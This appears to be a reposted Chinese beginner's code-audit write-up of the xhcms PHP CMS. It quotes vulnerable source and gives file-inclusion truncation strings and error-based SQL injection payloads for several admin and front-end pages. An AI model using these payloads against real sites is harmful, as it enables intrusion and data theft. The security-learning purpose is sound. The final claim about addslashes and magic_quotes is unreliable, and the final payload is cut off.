xhcms审计学习
2022-5-10 23:34:19 Author: xz.aliyun.com(查看原文) 阅读量:43 收藏

第一次审计,抱着学习的态度,从一个初学者的角度去尝试摸石头过河,踩坑,跳坑,并做个记录吧:

[toc]

一、环境安装

使用phpstudy 5.4.45+mysql5.5.53进行搭建(这个cms比较老,用php7会出问题)。

去网上下载xhcms源码(https://down.chinaz.com/),解压到phpstudy根目录,启动phpstudy,访问安装并安装即可。

(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个testxhcms数据库使用))

审计过程

先了解一下目录结构

admin         --管理后台文件夹
css           --存放css的文件夹
files         --存放页面的文件夹
images        --存放图片的文件夹
inc           --存放网站配置文件的文件夹
install       --网站进行安装的文件夹
seacmseditor  --编辑器文件夹
template      --模板文件夹
upload        --上传功能文件夹
index.php     --网站首页

一个个看文件不太现实,用一用工具吧,先使用seay自动化代码审计工具扫一下:

可以看到,有爆出34个可疑位置,接下来就一个个去分析代码,进行尝试。

一、第一条检测结果 首页/后台文件包含漏洞

index.php以及admin/index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

分析代码:

第一行的注释里面有写"单一入口模式",这个是什么意思呢?简单来说就是用一个文件处理所有的HTTP请求,例如不管是内容列表页,用户登录页还是内容详细页,都是通过从浏览器访问 index.php 文件来进行处理的,这里这个 index.php 文件就是这个应用程序的单一入口(具体造成的影响在我们后面使用文件时会再次提到来进行理解)。

第二行的error_reporting(0);表示关闭所有PHP错误报告。

addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。

第四行、第五行,通过三元运算符判断文件名是否为空,为空则载入files/index.php文件,反之赋值就会把传递进来的文件名赋值给$action,".“在PHP里是拼接的作用,因此就是把第四行传递的变量$file(到这里是$action,因为上一行$file赋值给了$action)也就是传递的文件名字,拼接前面的目录”files/”以及后面的”.php"这个后缀,最终载入拼接后的相应文件。

那么这里漏洞利用其实就两个问题:跳出限定的目录和截断拼接的后缀

我们需要截断后面的 .php 后缀,因此使用Windows文件名字的特性及Windows文件名的全路径限制进行截断。1.Windows下在文件名字后面加 “.” 不影响文件。

2.Windows的文件名的全路径(Fully Qualified File Name)的最大长度为260字节。但是这个是有利用条件的,在我这几次测试过程中, 发现必须同时满足 php版本=5.2.17、Virtual Directory Support=enable

先在网站根目录下写一个phpinfo用于测试:test.txt

00截断利用条件 //此处由于addslashes()函数导致不可用
1、magic_quotes_gpc =off
2、php版本小于5.3.4

?截断失败
长度截断可用:
//php版本=5.2.17、Virtual Directory Support=enable
payload:
1.?r=../test.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
2.?r=../test.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

二、sql注入

/admin/files/login.php
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];

if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);

对$user变量未作过滤,直接单引号包裹带入查询,存在sql注入,打一打(测试未屏蔽报错,用报错注入):

payload:

1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

成功爆出数据库

/admin/files/adset.php报警SQL注入漏洞:
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$setopen='class="open"';
$query = "SELECT * FROM adword";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$ad = mysql_fetch_array($resul);

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET 
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,广告设置成功更新。');location.href='?r=adset'</script>"; 
exit;
}
?>

分析代码,报警处三个可控变量ad1-ad3都经过了addlashes()函数处理,因此此处其实不存在sql注入漏洞,属于误报。

下一个

/admin/files/editcolumn.php

双击打开文件,首先看到的还不是报错位置,而是文件开头,直接吸引了我的目光,关键代码:

$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}
if ($type==2){
$query = "SELECT * FROM navclass WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

可以看到,id、type都是直接通过GET方式传入进来,然后单引号闭合,未作任何其他过滤就开始进入数据库查询。因此我们先登陆进后台,然后去包含这个文件(前面我们提到index.php文件中的单一入口模式,这也就导致这个文件夹下的所有文件都需要这么去使用)否则由于权限问题会产生报错如下:

进入此页面进行利用尝试:

http://192.168.121.130/xhcms/admin/?r=editcolumn

由上分析,直接GET传参尝试利用:(要进入连接数据库部分,因此type需要满足条件1或2,这里随便选择1)没有屏蔽报错,所以懒得测试字段什么的,直接采用报错注入,payload:

?r=editcolumn&type=1&id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

成功注出数据库,后面就不写了,流程一套就是。

言归正传,报警处代码:

$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs'];
if ($xs==""){
$xs=1;  
}
$tuijian=$_POST['tuijian'];
if ($tuijian==""){
$$tuijian=0;    
}

$content=$_POST['content'];

if ($save==1){

if ($name==""){
echo "<script>alert('抱歉,栏目名称不能为空。');history.back()</script>";
exit;
}

if ($type==1){
$query = "UPDATE nav SET 
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,一级栏目已经成功编辑。');location.href='?r=columnlist'</script>"; 
exit;
}

if ($type==2){
$query = "UPDATE navclass SET 
name='$name',
keywords='$keywords',
description='$description',
xs='$xs',
px='$px',
tuijian='$tuijian',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());

echo "<script>alert('亲爱的,二级栏目已经成功编辑。');location.href='?r=columnlist'</script>"; 
exit;
}

其实就是在刚刚代码下面,漏洞出现方式和它一摸一样(除了此处是POST传参),因此不再详谈。

下一个

/admin/files/editlink.php

关键代码:

<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$linklistopen='class="open"';
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//Id不做过滤,直接传入查询
$link = mysql_fetch_array($resul);
$query = "UPDATE link SET 
name='$name',
url='$url',
mail='$mail',
jieshao='$jieshao',
xs='$xs',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功编辑。');location.href='?r=linklist'</script>"; 
exit;
//name等参数不做过滤,直接传入查询更新

同样的漏洞出现方式,对可控变量不做过滤,直接单引号闭合开始查询更新数据。利用payload:

?r=editlink&id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

或者POST注入(直接填在框内,点击保存)

name=1&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'

下一个

/admin/files/editsoft.php
$id=$_GET['id'];
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());//典中点,不再提
$download = mysql_fetch_array($resul);

$save=$_POST['save'];
$title=$_POST['title'];
$author=$_POST['author'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$images=$_POST['images'];
$daxiao=$_POST['daxiao'];
$language=$_POST['language'];
$version=$_POST['version'];
$demo=$_POST['demo'];
$url=$_POST['url'];
$softadd=$_POST['softadd'];
$softadd2=$_POST['softadd2'];
$content=$_POST['content'];
$xs=$_POST['xs'];
if ($xs==""){ $xs=1;}

if ($save==1){
//处理图片上传
if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
$query = "UPDATE download SET 
title='$title',
keywords='$keywords',
description='$description',
$images
daxiao='$daxiao',
language='$language',
version='$version',
author='$author',
demo='$demo',
url='$url',
softadd='$softadd',
softadd2='$softadd2',
xs='$xs',
content='$content',
date=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,下载,".$imgsms."成功更新。');location.href='?r=softlist'</script>"; 
exit;

同上,典中点无脑sql,不再提

下一个

/admin/files/editwz.php

一样的注入

1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+
/admin/files/imageset.php
if ($filename<>""){
$images="img_logo='$filename',";    
    }
$query = "UPDATE imageset SET 
img_kg='$img_kg',
$images
img_weizhi='$img_weizhi',
img_slt='$img_slt',
img_moshi='$img_moshi',
img_wzkd='$img_wzkd',
img_wzgd='$img_wzgd'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,图片设置成功更新。');location.href='?r=imageset'</script>";

同样的注入问题,不再详说,不过这个文件里宁一段代码引起了我的注意:

if(!empty($_FILES['images']['tmp_name'])){
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
        $tmp = new FileUpload_Single;
        $upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
        $tmp -> accessPath =$upload;
        if ( $tmp -> TODO() )
        {
            $filename=$tmp -> newFileName;//生成的文件名
            $filename=$upload.'/'.$filename;        
        }

包含了个../inc/up.class.php,文件上传相关,不得不引人注目,此处没有利用点,跟进一下这个包含的文件看看:

<?php
class FileUpload_Single
{
//user define ------------------------------------- 
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|bmp|png";//string jpg|gif|bmp  ...
var $filePrefix= "";//上传后的文件名前缀,可设置为空 
var  $changNameMode=0;//图片改名的规则,暂时只有三类,值范围 : 0 至 2 任一值
var $uploadFile;//array upload file attribute 
var $newFileName;
var $error;

function TODO() 
{//main 主类:设好参数,可以直接调用
$pass = true ;
if ( ! $this -> GetFileAttri() )
{
   $pass = false;
}
if( ! $this -> CheckFileMIMEType() )
 {
 $pass = false;
 $this -> error .= die("<script language=\"javascript\">alert('图片类型不正确,允许格式:jpg|jpeg|gif|bmp。');history.back()</script>");
} 

if( ! $this -> CheckFileAttri_size() )
{
   $pass = false;
   $this -> error .= die("<script language=\"javascript\">alert('上传的文件太大,请确保在".$fileSize."K以内。');history.back()</script>");
   return false;
}

if ( ! $this -> MoveFileToNewPath() )
{
    $pass = false;
    $this -> error .=  die("<script language=\"javascript\">alert('上传失败!文件移动发生错误!');history.back()</script>");
}  
  return $pass;
} 
function GetFileAttri()
{
  foreach( $_FILES as $tmp )
  {
   $this -> uploadFile = $tmp;
  }
  return (empty( $this -> uploadFile[ 'name' ])) ? false : true;
}

function CheckFileAttri_size()
{
  if ( ! empty ( $this -> fileSize ))
  {
   if ( is_numeric( $this -> fileSize ))
   {
    if ($this -> fileSize > 0)
    {
     return ($this -> uploadFile[ 'size' ] > $this -> fileSize * 1024) ? false : true ; 
    }   
   }
   else
   {
    return false;
   }
  }
  else
  {
   return false;
  }
 }
 function ChangeFileName ($prefix = NULL  , $mode)
 {// string $prefix , int $mode
  $fullName = (isset($prefix)) ? $prefix."" : NULL ;
  switch ($mode)
  {
   case 0   : $fullName .= rand( 0 , 100 ). "_" .strtolower(date ("ldSfFYhisa")) ; break;
   case 1   : $fullName .= rand( 0 , 100 ). "_" .time(); break;
   case 2   : $fullName .= rand( 0 , 10000 ) . time();   break;
   default  : $fullName .= rand( 0 , 10000 ) . time();   break;
  }
  return $fullName;
 }
 function MoveFileToNewPath()
 {
  $newFileName = NULL;
  $newFileName = $this -> ChangeFileName( $this -> filePrefix , 2 ). "." . $this -> GetFileTypeToString();
  //检查目录是否存在,不存在则创建,当时我用的时候添加了这个功能,觉得没用的就注释掉吧
  /*
  $isFile = file_exists( $this -> accessPath);
  clearstatcache();
   if( ! $isFile && !is_dir($this -> accessPath) )
   {
       echo $this -> accessPath;
    @mkdir($this -> accessPath);
   }*/
$array_dir=explode("/",$this -> accessPath);//把多级目录分别放到数组中
 for($i=0;$i<count($array_dir);$i++){
  $path .= $array_dir[$i]."/";
  if(!file_exists($path)){
   mkdir($path);
  }
 }
/////////////////////////////////////////////////////////////////////////////////////////////////
    if ( move_uploaded_file( $this -> uploadFile[ 'tmp_name' ] , realpath( $this -> accessPath ) . "/" . $newFileName ) ) 
    {
        $this -> newFileName = $newFileName;
            return true;
    }else{
        return false;
    }
/////////////////////////////////////////////////////////////////////////////////////////////////
} 
function CheckFileExist( $path = NULL)
 {
  return ($path == NULL) ? false : ((file_exists($path)) ? true : false);
 }
function GetFileMIME()
 {
  return $this->GetFileTypeToString();
 }
function CheckFileMIMEType()
 {
  $pass = false;
  $defineTypeList = strtolower( $this ->defineTypeList);
  $MIME = strtolower( $this -> GetFileMIME());
  if (!empty ($defineTypeList))
  {
   if (!empty ($MIME))
   {
    foreach(explode("|",$defineTypeList) as $tmp)
    {
     if ($tmp == $MIME)
     {
      $pass = true;
     }
    }
   }
   else
   {
    return false;
   }      
   }
   else
   {
   return false;
   }
   return $pass;
 }

 function GetFileTypeToString()
 {
  if( ! empty( $this -> uploadFile[ 'name' ] ) )
  {
   return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );  
  }
 }
}
?>

很不幸,处理严格,没发现可利用点(或者是实力不足,有问题没看出来?遗憾~~~)

下一个

/admin/files/manageinfo.php
$query = "UPDATE content SET 
navclass='$navclass',
title='$title',
toutiao='$toutiao',
author='$author',
keywords='$keywords',
description='$description',
xs='$xs',
$images
content='$content',
editdate=now()
WHERE id='$id'";
@mysql_query($query) or die('修改错误:'.mysql_error());
echo "<script>alert('亲爱的,文章,".$imgsms."成功修改。');location.href='?r=wzlist'</script>"; 
exit;

同上,差异不大,直接post框内注入即可

下一个

/admin/files/newlink.php
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];

if ($save==1){

if ($name==""){
echo "<script>alert('抱歉,链接名称不能为空。');history.back()</script>";
exit;
}
if ($url==""){
echo "<script>alert('抱歉,链接地址不能为空。');history.back()</script>";
exit;
}

$query = "INSERT INTO link (name,url,mail,jieshao,xs,date) VALUES ('$name','$url','$mail','jieshao','xs',now())";
@mysql_query($query) or die('新增错误:'.mysql_error());
echo "<script>alert('亲爱的,链接已经成功添加。');location.href='?r=linklist'</script>"; 
exit;

这里终于有了一点不同(仅限于sql语句,555555)没有新意,还是构造闭合直接开注即可

name=123&url=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e))) and'
//框中填写提交即可

下一个:

/admin/files/reply.php

无新意,不再提

下一个

/files/content.php

关键代码

$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏?
$query = "SELECT * FROM content WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$content = mysql_fetch_array($resul);

$navid=$content['navclass'];
$query = "SELECT * FROM navclass WHERE id='$navid'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$navs = mysql_fetch_array($resul);

//浏览计数
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护,
@mysql_query($query) or die('修改错误:'.mysql_error());
?>
<?php
$query=mysql_query("select * FROM interaction WHERE (cid='$id' AND type=1 and xs=1)");
$pinglunzs = mysql_num_rows($query)
?>

注意到两处:

$id=addslashes($_GET['cid']);//addlashes()函数处理,难道没戏?
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";//啊这这这这。。。前面刚addlashes()处理,这里就不加单引号保护,那防了个寂寞,直接开注
payload:
http://127.0.0.1/index.php/?r=content&cid=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

下一个

/admin/files/seniorset.php 和 /admin/files/site.php和/files/downlows.php

依旧无新意直接注入即可

下一个

/files/software.php
$id=addslashes($_GET['cid']);
$query = "SELECT * FROM download WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$download = mysql_fetch_array($resul);

默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

因为这里被GET传值就已经默认运行addslashes(),所以再次使用addslashes()就不起作用了,所以我们依旧还是可以进行报错注入。

payload
 ?r=software&cid=1'or(updatexml

文章来源: https://xz.aliyun.com/t/11310
如有侵权请联系:admin#unsafe.sh